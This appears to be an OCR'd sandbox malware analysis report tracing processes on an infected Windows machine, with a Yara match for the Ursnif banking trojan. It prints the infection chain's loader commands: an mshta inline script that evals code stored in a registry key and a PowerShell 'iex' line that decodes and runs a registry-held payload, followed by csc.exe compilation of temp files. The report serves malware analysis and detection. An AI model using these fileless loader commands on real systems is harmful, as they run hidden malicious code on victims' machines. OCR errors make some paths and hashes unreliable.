File size: 822536 bytes

MDS5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities

Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Registry Activities
Source
Key Path Completion Count Address Symbol
Source
Key Path Name Type Data Completion Count Address Symbol
Source
Key Path Name Type Old Data New Data Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 7064 Parent PID: 5660
General
Start time: 07:47:33
Start date: 20/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit): true
Commandline: 'C:\Program Files (x86)\Internet Explore'\lIEXPLORE.EXE' SCODEF:5660 CREDAT:17426
Iprefetch:2
Imagebase: 0x140000
File size: 822536 bytes
MDS5 hash: 071277CC2E3DF41EEEA8013E2AB58D5A
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
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Source

File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 6316 Parent PID: 5660

General

Start time: 07:47:56

Start date: 20/01/2021

Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

‘C:\Program Files (x86)\Internet Explorel\lIEXPLORE.EXE' SCODEF:5660 CREDAT:17430
Iprefetch:2

0x140000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
File Activities
Source
File Path Access Attributes Options Completion Count Address Symbol
Source
File Path Offset Length Value Ascii Completion Count Address Symbol
Source
File Path Offset Length Completion Count Address Symbol
Analysis Process: iexplore.exe PID: 2996 Parent PID: 5660
General
Start time: 07:47:59
Start date: 20/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

true

‘C:\Program Files (x86)\Internet Explorel\lIEXPLORE.EXE' SCODEF:5660 CREDAT:82968
Iprefetch:2

0x140000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
Analysis Process: iexplore.exe PID: 6908 Parent PID: 5660
General
Start time: 07:48:02
Start date: 20/01/2021
Path: C:\Program Files (x86)\Internet Explorer\iexplore.exe

Wow64 process (32bit):

Commandline:

Copyright null 2021

true

'C:\Program Files (x86)\Internet Explore'\lEXPLORE.EXE' SCODEF:5660 CREDAT:17442
Iprefetch:2
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0x140000

822536 bytes
071277CC2E3DF41EEEA8013E2AB58D5A
true

true

C, C++ or other language

Reputation: high
Analysis Process: mshta.exe PID: 5652 Parent PID: 3388
General
Start time: 07:48:08
Start date: 20/01/2021
Path: C:\Windows\System32\mshta.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

‘C:\Windows\System32\mshta.exe' ‘about:<hta:application><script>resizeTo(1,1);eval(new Act
iveXObject("WScript.Shell').regread('(HKCU\\Software\\AppDataLow\\Software\\Microsoft\54E
80703-A337-A6B8-CDC8-873A517CABOE\\Audiinrt"));if('window.flag)close()</script>"

0x7ff67e5e0000

14848 bytes
197FC97C6A843BEBB445C1D9C58DCBDB
true

true

C, C++ or other language

Reputation: moderate
Analysis Process: powershell.exe PID: 4896 Parent PID: 5652
General
Start time: 07:48:10
Start date: 20/01/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

false

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.En
coding]::ASCIl.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-
A337-A6B8-CDC8-873A517CABOE').Barclers))

0x7ff7ea230000

447488 bytes
95000560239032BC68B4C2FDFCDEF913
true

true

.Net C# or VB.NET

e Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source:
00000020.00000003.428145674.000001AE5B310000.00000004.00000001.sdmp, Author:
Joe Security

Reputation: high
Analysis Process: conhost.exe PID: 4572 Parent PID: 4896
General
Start time: 07:48:11
Start date: 20/01/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright null 2021

false
C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff6b2800000
625664 bytes
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MDS5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496

Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Reputation: high

Analysis Process: csc.exe PID: 68 Parent PID: 4896

General

Start time: 07:48:17

Start date: 20/01/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\crd40oh3\crd40oh3.cmdline’

Imagebase: 0x7ff75de20000

File size: 2739304 bytes

MDS5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Reputation: moderate

Analysis Process: cvtres.exe PID: 5772 Parent PID: 68

General

Start time: 07:48:19

Start date: 20/01/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Loca\Temp\RES8C67.tmp' ‘c:\Users\user\Ap
pData\Local\Temp\crd400h3\CSC11E966FB2F624BF1AF64E9C63E9FBAC. TMP'

Imagebase: 0x7ff61b020000

File size: 47280 bytes

MDS5 hash: 33BB8BEOB4F547324D93D5D2725CAC3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: csc.exe PID: 6948 Parent PID: 4896

General

Start time: 07:48:22

Start date: 20/01/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\Microsoft. NET\Framework64\v4.0.30319\csc.exe' /noconfig /fullpaths @
‘C:\Users\user\AppData\Local\Temp\pzrffmak\pzrffmak.cmdline'

Imagebase: 0x7ff75de20000

File size: 2739304 bytes

MDS5 hash: B46100977911A0C9FB1C3E5F16A5017D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET
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Analysis Process: cvtres.exe PID: 7064 Parent PID: 6948

General

Start time: 07:48:23

Start date: 20/01/2021

Path: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe

Wow64 process (32bit): false

Commandline: C:\Windows\Microsoft. NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MA
CHINE:IX86 '/OUT:C:\Users\user\AppData\Local\Temp\RES9DO01.tmp' ‘c:\Users\user\Ap
pData\Local\Temp\pzrffmak\CSCDD4D36881852409F9BC7C75CEAE11B9.TMP'

Imagebase: 0x7ff61b020000

File size: 47280 bytes

MDS5 hash: 33BB8BEOB4F547324D93D5D2725CAC3D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Disassembly

Code Analysis
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